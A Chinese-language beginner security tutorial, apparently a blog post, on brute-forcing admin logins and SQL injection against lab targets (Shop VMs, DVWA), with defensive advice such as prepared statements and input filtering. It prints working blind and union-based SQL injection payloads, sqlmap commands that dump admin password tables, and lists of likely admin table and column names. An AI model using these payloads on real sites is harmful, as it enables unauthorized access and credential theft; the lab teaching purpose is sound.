系統: Win7
暴力破解和SQL注入
系列博文 前言 理論 攻擊目標: 1.暴力破解 1.1查找網站后臺入口 1.2防查找網站后臺入口 2.1如何獲取用戶名和密碼 2.2 如何防止暴力破解
2. SQL注入,危害性極大(密碼不是弱口令,暴力破解也不能破解出來) 定義: 原因分析 要資料庫執行提交的查詢代碼而建立通信渠道
手工注入SQL注入(使用shop靶機) 1. 查找注入點(為了測驗我們自己構造的sql陳述句是否被查詢) 2.判斷admin表是否存在 3.判斷欄位 admin password 是否存在 4.檢測密碼的長度 5.查詢密碼的每一位數的ASCII碼 SQLmap 工具 SQL注入分類(以注入方式)
SQL注入分類(以字符型別方式)
防御SQL注入 1.避免資料變成代碼被執行 2.敏感字符過濾 3. JSP頁面判斷代碼 4.使用正則運算式過濾
實驗 Shop1.0靶機
Shop2.0靶機 找注入點: 使用SQLmap,嘗試獲取登錄用戶名和密碼等資訊
DVWA靶機 1)判斷是數字型還是字符型 2)查表、欄位獲取用戶名和密碼 3)獲取資料庫版本、資料庫名、表、欄位 4)查詢用戶名和密碼
系列博文
信安小白,說明白滲透測驗及資訊安全 信安小白,一篇博文講明白暴力破解和SQL注入 信安小白,一篇博文講明白上傳漏洞——獲得shop靶機的Webshell 信安小白,一篇博文講明白存盤型、反射型XSS漏洞 信安小白,一篇博文講明白CSRF攻擊和防御
前言
以下為資訊安全實驗部分,暴力破解和SQL注入,
理論
攻擊目標:
修改網頁
尋找Web管理后臺入口 獲取管理員用戶名和密碼 登陸后臺,修改Logo
1.暴力破解
1.1查找網站后臺入口
1、手工找默認后臺(開源類程式) admin/、admin/login.asp、manage、login.asp… 2、字典掃描 Web目錄字典掃描方法,類似于 暴力破解 代表軟體:wwwscan,御劍后臺掃描,DirBuster 3、目錄爬行 網路爬蟲,撰寫腳本,自動遍歷Web目錄,不依賴于字典, 主要依靠爬行演算法的效率, 代表軟體:appscan,Awvs 4、google hack
1.2防查找網站后臺入口
1.撰寫 robots.txt (防爬蟲) robots.txt是搜索引擎中訪問網站的時候要查看的第一個檔案,在這個檔案中網站管理者可以宣告該網站中不想被搜索引擎訪問的部分,或者指定搜索引擎只收錄指定的內容, Disallow: /admin/ Disallow: /db/ 由此可見,如果暴露改檔案也是比較危險的! 2.robots Meta標簽 robots Meta標簽 用來告訴搜索引擎robots如何抓取該頁的內容,把下面 HTML代碼 放到管理后臺,可以防檢索
< META name = robots content = noindex,nofollow>
robots Meta標簽在很多搜索引擎是不支持的,所以盡可能的使用robots.txt檔案來限制抓取,
3.修改后臺路徑,修改檔案名(防止工具暴力破解) 不用默認的路徑或者常見名,找不到登錄頁就談不到暴力破解,注意路徑檔案名和組態檔一致,
2.1如何獲取用戶名和密碼
1、弱口令 admin admin admin 123456 admin admin888 admin admin123 因此弱口令和密碼是很容易出現漏洞的, 2、暴力破解(窮舉法) ??暴力破解是對目標進行窮舉猜測 ,常常輔以字典 來縮小密碼組合的范圍, 拖庫: 網站遭到入侵后,黑客竊取其資料庫,同時資料庫中的用戶名和密碼就被泄露了, 撞庫: 黑客通過收集互聯網已泄露的用戶和密碼資訊,生成對應的字典表,嘗試批量登陸其他網站后,得到一系列可以登錄的用戶,(拿A網站的得到的資訊去撞B網站) 利用社會工程學,生成字典: 我們設定密碼容易使用生日,姓名全品等資訊作為密碼,因此這也是一個危險的地方,我們以后要注意!
2.2 如何防止暴力破解
不能一個密碼走天下,防止拖庫撞庫的危險,盡量不要名字全拼,生日等資訊作為密碼, 頁面數字驗證碼,4位數字驗證碼,一分鐘就能遍歷破解完,因此6位以上含字母大小寫的驗證碼要安全得多, 圖片驗證碼:看似安全,但圖片庫是有限的也容易暴力破解,因此現在出現了手動拖動操作!又來區別人工操作和機器操作, 手機驗證碼,目前來說比較安全, 限制密碼輸入次數(目前來說比較嚴謹,最高級別的驗證方式),例如銀行卡,輸錯幾次自動鎖住開鎖要到人工客服面對面解鎖,
2. SQL注入,危害性極大(密碼不是弱口令,暴力破解也不能破解出來)
定義:
SQL是進行資料庫操作的標準語言 ??由于程式中對用戶輸入檢查不嚴格 ,用戶可以提交一段資料庫查詢代碼 ,根據程式回傳的結果 ,獲得某些他想得知的資料,這就是所謂的SQL Injection,即SQL注入, **盲注:**不會根據你sql注入的攻擊陳述句回傳你想要知道的錯誤資訊,布爾盲注 (回傳Ture跟Fales)
原因分析
??其本質是對于輸入檢查不充分,將用戶提交的資料當作代碼來執行,
要資料庫執行提交的查詢代碼而建立通信渠道
<style>#mermaid-svg-4iONpGHq7dNcuD5J .label{font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family);fill:#333;color:#333}#mermaid-svg-4iONpGHq7dNcuD5J .label text{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .node rect,#mermaid-svg-4iONpGHq7dNcuD5J .node circle,#mermaid-svg-4iONpGHq7dNcuD5J .node ellipse,#mermaid-svg-4iONpGHq7dNcuD5J .node polygon,#mermaid-svg-4iONpGHq7dNcuD5J .node path{fill:#ECECFF;stroke:#9370db;stroke-width:1px}#mermaid-svg-4iONpGHq7dNcuD5J .node .label{text-align:center;fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .node.clickable{cursor:pointer}#mermaid-svg-4iONpGHq7dNcuD5J .arrowheadPath{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .edgePath .path{stroke:#333;stroke-width:1.5px}#mermaid-svg-4iONpGHq7dNcuD5J .flowchart-link{stroke:#333;fill:none}#mermaid-svg-4iONpGHq7dNcuD5J .edgeLabel{background-color:#e8e8e8;text-align:center}#mermaid-svg-4iONpGHq7dNcuD5J .edgeLabel rect{opacity:0.9}#mermaid-svg-4iONpGHq7dNcuD5J .edgeLabel span{color:#333}#mermaid-svg-4iONpGHq7dNcuD5J .cluster rect{fill:#ffffde;stroke:#aa3;stroke-width:1px}#mermaid-svg-4iONpGHq7dNcuD5J .cluster text{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family);font-size:12px;background:#ffffde;border:1px solid #aa3;border-radius:2px;pointer-events:none;z-index:100}#mermaid-svg-4iONpGHq7dNcuD5J .actor{stroke:#ccf;fill:#ECECFF}#mermaid-svg-4iONpGHq7dNcuD5J text.actor>tspan{fill:#000;stroke:none}#mermaid-svg-4iONpGHq7dNcuD5J .actor-line{stroke:grey}#mermaid-svg-4iONpGHq7dNcuD5J .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333}#mermaid-svg-4iONpGHq7dNcuD5J .messageLine1{stroke-width:1.5;stroke-dasharray:2, 2;stroke:#333}#mermaid-svg-4iONpGHq7dNcuD5J #arrowhead path{fill:#333;stroke:#333}#mermaid-svg-4iONpGHq7dNcuD5J .sequenceNumber{fill:#fff}#mermaid-svg-4iONpGHq7dNcuD5J #sequencenumber{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J #crosshead path{fill:#333;stroke:#333}#mermaid-svg-4iONpGHq7dNcuD5J .messageText{fill:#333;stroke:#333}#mermaid-svg-4iONpGHq7dNcuD5J .labelBox{stroke:#ccf;fill:#ECECFF}#mermaid-svg-4iONpGHq7dNcuD5J .labelText,#mermaid-svg-4iONpGHq7dNcuD5J .labelText>tspan{fill:#000;stroke:none}#mermaid-svg-4iONpGHq7dNcuD5J .loopText,#mermaid-svg-4iONpGHq7dNcuD5J .loopText>tspan{fill:#000;stroke:none}#mermaid-svg-4iONpGHq7dNcuD5J .loopLine{stroke-width:2px;stroke-dasharray:2, 2;stroke:#ccf;fill:#ccf}#mermaid-svg-4iONpGHq7dNcuD5J .note{stroke:#aa3;fill:#fff5ad}#mermaid-svg-4iONpGHq7dNcuD5J .noteText,#mermaid-svg-4iONpGHq7dNcuD5J .noteText>tspan{fill:#000;stroke:none}#mermaid-svg-4iONpGHq7dNcuD5J .activation0{fill:#f4f4f4;stroke:#666}#mermaid-svg-4iONpGHq7dNcuD5J .activation1{fill:#f4f4f4;stroke:#666}#mermaid-svg-4iONpGHq7dNcuD5J .activation2{fill:#f4f4f4;stroke:#666}#mermaid-svg-4iONpGHq7dNcuD5J .mermaid-main-font{font-family:"trebuchet ms", verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .section{stroke:none;opacity:0.2}#mermaid-svg-4iONpGHq7dNcuD5J .section0{fill:rgba(102,102,255,0.49)}#mermaid-svg-4iONpGHq7dNcuD5J .section2{fill:#fff400}#mermaid-svg-4iONpGHq7dNcuD5J .section1,#mermaid-svg-4iONpGHq7dNcuD5J .section3{fill:#fff;opacity:0.2}#mermaid-svg-4iONpGHq7dNcuD5J .sectionTitle0{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .sectionTitle1{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .sectionTitle2{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .sectionTitle3{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .sectionTitle{text-anchor:start;font-size:11px;text-height:14px;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .grid .tick{stroke:#d3d3d3;opacity:0.8;shape-rendering:crispEdges}#mermaid-svg-4iONpGHq7dNcuD5J .grid .tick text{font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .grid path{stroke-width:0}#mermaid-svg-4iONpGHq7dNcuD5J .today{fill:none;stroke:red;stroke-width:2px}#mermaid-svg-4iONpGHq7dNcuD5J .task{stroke-width:2}#mermaid-svg-4iONpGHq7dNcuD5J .taskText{text-anchor:middle;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .taskText:not([font-size]){font-size:11px}#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutsideRight{fill:#000;text-anchor:start;font-size:11px;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutsideLeft{fill:#000;text-anchor:end;font-size:11px}#mermaid-svg-4iONpGHq7dNcuD5J .task.clickable{cursor:pointer}#mermaid-svg-4iONpGHq7dNcuD5J .taskText.clickable{cursor:pointer;fill:#003163 !important;font-weight:bold}#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutsideLeft.clickable{cursor:pointer;fill:#003163 !important;font-weight:bold}#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutsideRight.clickable{cursor:pointer;fill:#003163 !important;font-weight:bold}#mermaid-svg-4iONpGHq7dNcuD5J .taskText0,#mermaid-svg-4iONpGHq7dNcuD5J .taskText1,#mermaid-svg-4iONpGHq7dNcuD5J .taskText2,#mermaid-svg-4iONpGHq7dNcuD5J .taskText3{fill:#fff}#mermaid-svg-4iONpGHq7dNcuD5J .task0,#mermaid-svg-4iONpGHq7dNcuD5J .task1,#mermaid-svg-4iONpGHq7dNcuD5J .task2,#mermaid-svg-4iONpGHq7dNcuD5J .task3{fill:#8a90dd;stroke:#534fbc}#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutside0,#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutside2{fill:#000}#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutside1,#mermaid-svg-4iONpGHq7dNcuD5J .taskTextOutside3{fill:#000}#mermaid-svg-4iONpGHq7dNcuD5J .active0,#mermaid-svg-4iONpGHq7dNcuD5J .active1,#mermaid-svg-4iONpGHq7dNcuD5J .active2,#mermaid-svg-4iONpGHq7dNcuD5J .active3{fill:#bfc7ff;stroke:#534fbc}#mermaid-svg-4iONpGHq7dNcuD5J .activeText0,#mermaid-svg-4iONpGHq7dNcuD5J .activeText1,#mermaid-svg-4iONpGHq7dNcuD5J .activeText2,#mermaid-svg-4iONpGHq7dNcuD5J .activeText3{fill:#000 !important}#mermaid-svg-4iONpGHq7dNcuD5J .done0,#mermaid-svg-4iONpGHq7dNcuD5J .done1,#mermaid-svg-4iONpGHq7dNcuD5J .done2,#mermaid-svg-4iONpGHq7dNcuD5J .done3{stroke:grey;fill:#d3d3d3;stroke-width:2}#mermaid-svg-4iONpGHq7dNcuD5J .doneText0,#mermaid-svg-4iONpGHq7dNcuD5J .doneText1,#mermaid-svg-4iONpGHq7dNcuD5J .doneText2,#mermaid-svg-4iONpGHq7dNcuD5J .doneText3{fill:#000 !important}#mermaid-svg-4iONpGHq7dNcuD5J .crit0,#mermaid-svg-4iONpGHq7dNcuD5J .crit1,#mermaid-svg-4iONpGHq7dNcuD5J .crit2,#mermaid-svg-4iONpGHq7dNcuD5J .crit3{stroke:#f88;fill:red;stroke-width:2}#mermaid-svg-4iONpGHq7dNcuD5J .activeCrit0,#mermaid-svg-4iONpGHq7dNcuD5J .activeCrit1,#mermaid-svg-4iONpGHq7dNcuD5J .activeCrit2,#mermaid-svg-4iONpGHq7dNcuD5J .activeCrit3{stroke:#f88;fill:#bfc7ff;stroke-width:2}#mermaid-svg-4iONpGHq7dNcuD5J .doneCrit0,#mermaid-svg-4iONpGHq7dNcuD5J .doneCrit1,#mermaid-svg-4iONpGHq7dNcuD5J .doneCrit2,#mermaid-svg-4iONpGHq7dNcuD5J .doneCrit3{stroke:#f88;fill:#d3d3d3;stroke-width:2;cursor:pointer;shape-rendering:crispEdges}#mermaid-svg-4iONpGHq7dNcuD5J .milestone{transform:rotate(45deg) scale(0.8, 0.8)}#mermaid-svg-4iONpGHq7dNcuD5J .milestoneText{font-style:italic}#mermaid-svg-4iONpGHq7dNcuD5J .doneCritText0,#mermaid-svg-4iONpGHq7dNcuD5J .doneCritText1,#mermaid-svg-4iONpGHq7dNcuD5J .doneCritText2,#mermaid-svg-4iONpGHq7dNcuD5J .doneCritText3{fill:#000 !important}#mermaid-svg-4iONpGHq7dNcuD5J .activeCritText0,#mermaid-svg-4iONpGHq7dNcuD5J .activeCritText1,#mermaid-svg-4iONpGHq7dNcuD5J .activeCritText2,#mermaid-svg-4iONpGHq7dNcuD5J .activeCritText3{fill:#000 !important}#mermaid-svg-4iONpGHq7dNcuD5J .titleText{text-anchor:middle;font-size:18px;fill:#000;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J g.classGroup text{fill:#9370db;stroke:none;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family);font-size:10px}#mermaid-svg-4iONpGHq7dNcuD5J g.classGroup text .title{font-weight:bolder}#mermaid-svg-4iONpGHq7dNcuD5J g.clickable{cursor:pointer}#mermaid-svg-4iONpGHq7dNcuD5J g.classGroup rect{fill:#ECECFF;stroke:#9370db}#mermaid-svg-4iONpGHq7dNcuD5J g.classGroup line{stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J .classLabel .box{stroke:none;stroke-width:0;fill:#ECECFF;opacity:0.5}#mermaid-svg-4iONpGHq7dNcuD5J .classLabel .label{fill:#9370db;font-size:10px}#mermaid-svg-4iONpGHq7dNcuD5J .relation{stroke:#9370db;stroke-width:1;fill:none}#mermaid-svg-4iONpGHq7dNcuD5J .dashed-line{stroke-dasharray:3}#mermaid-svg-4iONpGHq7dNcuD5J #compositionStart{fill:#9370db;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #compositionEnd{fill:#9370db;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #aggregationStart{fill:#ECECFF;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #aggregationEnd{fill:#ECECFF;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #dependencyStart{fill:#9370db;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #dependencyEnd{fill:#9370db;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #extensionStart{fill:#9370db;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J #extensionEnd{fill:#9370db;stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J .commit-id,#mermaid-svg-4iONpGHq7dNcuD5J .commit-msg,#mermaid-svg-4iONpGHq7dNcuD5J .branch-label{fill:lightgrey;color:lightgrey;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .pieTitleText{text-anchor:middle;font-size:25px;fill:#000;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .slice{font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J g.stateGroup text{fill:#9370db;stroke:none;font-size:10px;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J g.stateGroup text{fill:#9370db;fill:#333;stroke:none;font-size:10px}#mermaid-svg-4iONpGHq7dNcuD5J g.statediagram-cluster .cluster-label text{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J g.stateGroup .state-title{font-weight:bolder;fill:#000}#mermaid-svg-4iONpGHq7dNcuD5J g.stateGroup rect{fill:#ECECFF;stroke:#9370db}#mermaid-svg-4iONpGHq7dNcuD5J g.stateGroup line{stroke:#9370db;stroke-width:1}#mermaid-svg-4iONpGHq7dNcuD5J .transition{stroke:#9370db;stroke-width:1;fill:none}#mermaid-svg-4iONpGHq7dNcuD5J .stateGroup .composit{fill:white;border-bottom:1px}#mermaid-svg-4iONpGHq7dNcuD5J .stateGroup .alt-composit{fill:#e0e0e0;border-bottom:1px}#mermaid-svg-4iONpGHq7dNcuD5J .state-note{stroke:#aa3;fill:#fff5ad}#mermaid-svg-4iONpGHq7dNcuD5J .state-note text{fill:black;stroke:none;font-size:10px}#mermaid-svg-4iONpGHq7dNcuD5J .stateLabel .box{stroke:none;stroke-width:0;fill:#ECECFF;opacity:0.7}#mermaid-svg-4iONpGHq7dNcuD5J .edgeLabel text{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .stateLabel text{fill:#000;font-size:10px;font-weight:bold;font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family)}#mermaid-svg-4iONpGHq7dNcuD5J .node circle.state-start{fill:black;stroke:black}#mermaid-svg-4iONpGHq7dNcuD5J .node circle.state-end{fill:black;stroke:white;stroke-width:1.5}#mermaid-svg-4iONpGHq7dNcuD5J #statediagram-barbEnd{fill:#9370db}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-cluster rect{fill:#ECECFF;stroke:#9370db;stroke-width:1px}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-cluster rect.outer{rx:5px;ry:5px}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-state .divider{stroke:#9370db}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-state .title-state{rx:5px;ry:5px}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-cluster.statediagram-cluster .inner{fill:white}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-cluster.statediagram-cluster-alt .inner{fill:#e0e0e0}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-cluster .inner{rx:0;ry:0}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-state rect.basic{rx:5px;ry:5px}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-state rect.divider{stroke-dasharray:10,10;fill:#efefef}#mermaid-svg-4iONpGHq7dNcuD5J .note-edge{stroke-dasharray:5}#mermaid-svg-4iONpGHq7dNcuD5J .statediagram-note rect{fill:#fff5ad;stroke:#aa3;stroke-width:1px;rx:0;ry:0}:root{--mermaid-font-family: '"trebuchet ms", verdana, arial';--mermaid-font-family: "Comic Sans MS", "Comic Sans", cursive}#mermaid-svg-4iONpGHq7dNcuD5J .error-icon{fill:#522}#mermaid-svg-4iONpGHq7dNcuD5J .error-text{fill:#522;stroke:#522}#mermaid-svg-4iONpGHq7dNcuD5J .edge-thickness-normal{stroke-width:2px}#mermaid-svg-4iONpGHq7dNcuD5J .edge-thickness-thick{stroke-width:3.5px}#mermaid-svg-4iONpGHq7dNcuD5J .edge-pattern-solid{stroke-dasharray:0}#mermaid-svg-4iONpGHq7dNcuD5J .edge-pattern-dashed{stroke-dasharray:3}#mermaid-svg-4iONpGHq7dNcuD5J .edge-pattern-dotted{stroke-dasharray:2}#mermaid-svg-4iONpGHq7dNcuD5J .marker{fill:#333}#mermaid-svg-4iONpGHq7dNcuD5J .marker.cross{stroke:#333}
:root { --mermaid-font-family: "trebuchet ms", verdana, arial;}</style>
<style>#mermaid-svg-4iONpGHq7dNcuD5J {
color: rgba(0, 0, 0, 0.75);
font: ;
}</style>
檢測是否存在SQL注入漏洞:手工測驗、掃描器
探測后臺資料庫型別、屬性:采用不同的資料庫注入策略包來進行進一步的取證和滲透
SQL注入:數值型、字符型;搜索型、錯誤型;雜項型
手工注入SQL注入(使用shop靶機)
1. 查找注入點(為了測驗我們自己構造的sql陳述句是否被查詢)
例:http://www.***.com/shop/index.asp ??由于它只是對頁面的簡單請求無需對資料庫動進行動態請求,所以它不存在SQL Injection 例:http://www.***.com/shop/productshopxp.asp?id=485 ??在URL中傳遞變數id,并且提供值為485,由于它是對資料庫進行動態查詢的請求(其中? id=485表示資料庫查詢變數),所以我們可以在URL中嵌入惡意SQL陳述句,但是這不能確定是注入點!要判斷該注入點是否有輸入限制或者資料過濾!
判斷能否進行SQL注入 ,1=1,1=2測驗法: http://www.***. /shop/productshopxp.asp?id=485 http:***/shop/productshopxp.asp?id=485 and 1=1 http:***/shop/productshopxp.asp?id=485 and 1=2
select * from 表名 where id= 485 and 【查詢條件】
可以注入的表現: 1 正常顯示(這是必然的,不然就是程式有錯誤了) 2 正常顯示,內容基本與 1 相同 3 提示 提示找不到記錄、或顯示內容為空(程式加了on error resume next) 不可以注入: 1 同樣正常顯示, 2 和 3 一般都會有程式定義的錯誤提示,或提示型別轉換時出錯,
2.判斷admin表是否存在
and exists (select count(*) from 你要猜的表名) 注入點后加上這句話,如果回傳正常,猜的表是存在的 http:***/shop/productshopxp.asp?id=485 and exists (select count(*) from admin)
3.判斷欄位 admin password 是否存在
and (select count(列名) from 猜到的表名) 在注入點后加上這句話,如果回傳正常,猜的列是存在的 http:***/shop/productshopxp.asp?id=485 and exists (select count(password) from admin)
常用的表名:
Admin user news manage a_admin x_admin m_admin
adminuser admin_user article_admin administrator
manager member memberlist users Manage_User
user_info admin_userinfo login new
常用的列名:
username password id adminusername admin_username
adminname admin_name admin adminuser admin_user
user_name user_admin administrator administrators
adminpassword admin_pwd adminpass userpass
user_pass admin_passwod
??以上還是手工注入很麻煩,之后會有工具,注入工具就是把這些表名列名存盤到資料庫,一次性交給工具進行注入,
4.檢測密碼的長度
http:***/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>15 正常 http:***/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>16 錯誤 top 1表示這個列的第一行內容
5.查詢密碼的每一位數的ASCII碼
http:***/shop/productshopxp.asp?id=485 and (select top 1 asc(mid(password,1,1)) from admin)>54 正常 http:***/shop/productshopxp.asp?id=485 and (select top 1 asc(mid(password,1,1)) from admin)>55錯誤 密碼不是明文存盤而是通過md5哈希演算法進行加密,因此55哈希演算法對應7 Password: 7a57a5a743894a0e (admin) mid(s,i,1)取字串s中第i個字符開始取1個 asc()得到這個字符的ascII碼
SQLmap 工具
SQLmap: 檢測與利用SQL注入漏洞的免費開源工具,需要先找到注入點! 安裝:sqlmap基于Python,先安裝Python,將sqlmap解壓到Python根目錄下 因為是sqlmap是機器工具,發資料包是連續的很容易防火墻等安全軟體識別出來!
sqlmap.py –h #查看版本
-u #指定目標URL
–current-db #獲取當前資料庫
-D #指定資料庫
-T #要列舉的DBMS資料表
-C #要列舉的DBMS資料表中的列
–dump #轉儲DBMS資料表項
查詢是什么資料庫 /sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” --dbs 列出表 /sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” --table 指定表名列出所有欄位 /sqlmap.py –u “http://*/shop/productshopxp.asp?id=485” –T admin --columns 指定表名欄位名dump出指定欄位的內容 /sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” –T admin –C user,password --dump
SQL注入分類(以注入方式)
shop靶機的注入是盲注,只能判斷Yes or NO,需要特定陳述句去查,比如查:有沒有這個表,無法查詢特定值,當靶機不是盲注時,有回復的資訊,我們就可以根據回復來進一步得到我們需要的資訊,
回顯:
將構造的SQL陳述句的直接執行,將結果回顯或者以報錯的形式顯示出來, 例: 問:你有什么表,答:有admin、user…
盲注:
開發時關閉錯誤顯示,且注入內容不能在頁面展示出來, 例: 問:你有admin表嗎? 答:yes
盲注分類:
布爾型盲注(回答yes or no) ??構造SQL陳述句之后,根據頁面顯示差異來判斷,頁面只回傳True和False兩種型別頁面,利用頁面回傳不同,逐個猜解資料. 基于時間的盲注(回傳時間的快慢) ??構造SQL陳述句之后根據頁面回應時間來判斷,是否能執行陳述句,時間長說明在執行我們的陳述句,時間短就回傳資訊說明沒有執行注入的陳述句,
SQL注入分類(以字符型別方式)
數字型:
在MySQL陳述句中數字型不需要單引號或者雙引號閉合,
字符型:
在MySQL陳述句中,如果字符是字串格式需要單引號,在注入中也需要考慮單引號的閉合和注釋問題,
防御SQL注入
1.避免資料變成代碼被執行
??被執行的惡意代碼是通過資料庫的SQL解釋引擎編譯得到的,所以要避免用戶輸入的資料被資料庫系統編譯,現在的資料庫系統都提供SQL陳述句的 預編譯 (prepare)和查詢引數系結功能,執行階段只是把輸入串作為資料處理,而不再對sql陳述句進行決議,因此避免了sql注入問題,
2.敏感字符過濾
#過濾以下字符
and | select | update | chr | delete | %20from | ; | insert |
mid | master. | set | =
3. JSP頁面判斷代碼
使用JavaScript在客戶端進行不安全字符屏蔽,檢查是否含有‘,\\,/
4.使用正則運算式過濾
實驗
本實驗使用的是Shop1.0和Shop2.0 靶機進行實驗:
Shop1.0靶機
找到注入點
??使用手入的形式,發現URL輸入admin可進入默認的登錄入口,并且嘗試輸入admin可以進入后端, 也可以使用軟體“御劍后臺掃描”工具進行掃描
通過手工SQL注入查詢后臺登錄密碼,網站中熱和可以上傳的地方都是可能可以注入的地方
驗證注入點,嘗試獲取資訊
在可以上傳的網頁UIL輸入“id=485 and 1=1” 和 “id=485 and 1=2” 說明網站確認了提交的資訊(盲注) 可以通過輸入sql陳述句 http://192.168.163.133/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>15 正常,無反應 http://192.168.163.133/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>16 錯誤,報錯 可見密碼長度為15,
可以通過輸入: http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 1 asc(mid(password,1,1)) from admin)>54 正常 http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 1 asc(mid(password,1,1)) from admin)>55 錯誤 ASCII密碼第一位為54, http://192.168.163.133/shop/productshopxp.asp?id=485 and(select top 1 asc(mid(password,2,1))from admin)>96 正常 http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 2 asc(mid(password,1,1)) from admin)>97 錯誤 因此第二位是96
Shop2.0靶機
找注入點:
使用wwwscan 工具,搜索網站后臺入口:wwwscan 192.168.163.133 -p 80 -r “shop2” -t 20 輸入網址
使用SQLmap,嘗試獲取登錄用戶名和密碼等資訊
已得知注入點地址:http://192.168.163.133/shop2/productshopxp.asp?id=485
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id= 485
列出所有資料庫
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id= 485 --dbs
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id= 485 --tables
列出admin表的所有欄位
Sqlmap.py –u http://***/shop/productshopxp.asp?id= 485 -T admin --columns
限定表名字和欄位名dump出指定欄位的內容
Sqlmap.py -u http://***/shop/productshopxp.asp?id= 485 -T admin -C passwaord --dump
如果用admin欄位查,結果相同,
DVWA靶機
1)判斷是數字型還是字符型
輸入數字時,可以顯示
輸入字符時,不顯示資訊:判斷是數字型
2)查表、欄位獲取用戶名和密碼
輸入 1’or’1’=’1 時,可遍歷所有用戶資訊
3)獲取資料庫版本、資料庫名、表、欄位
??輸入1' union select version(),database()# 獲取資料庫版本和資料庫名 (如果只搜尋資料庫,會出現錯誤說明有很多版本)版本 5.5.40 資料庫名 dvwa (和home連接里的資料庫名相同)
1 'union select 1 ,group_concat( table_name) from information_schema.tables where table_schema = database( ) #
查詢資料庫里有哪些表: guestbook表、users表
1 ' union select 1, group_concat(column_name) from information_schema.columns where table_name=' users'#
查詢user表里用什么欄位:user_id,first_name,last_name,password,avater,last_login,failed_login
4)查詢用戶名和密碼
1' union select user,password from users# 查詢用戶名和密碼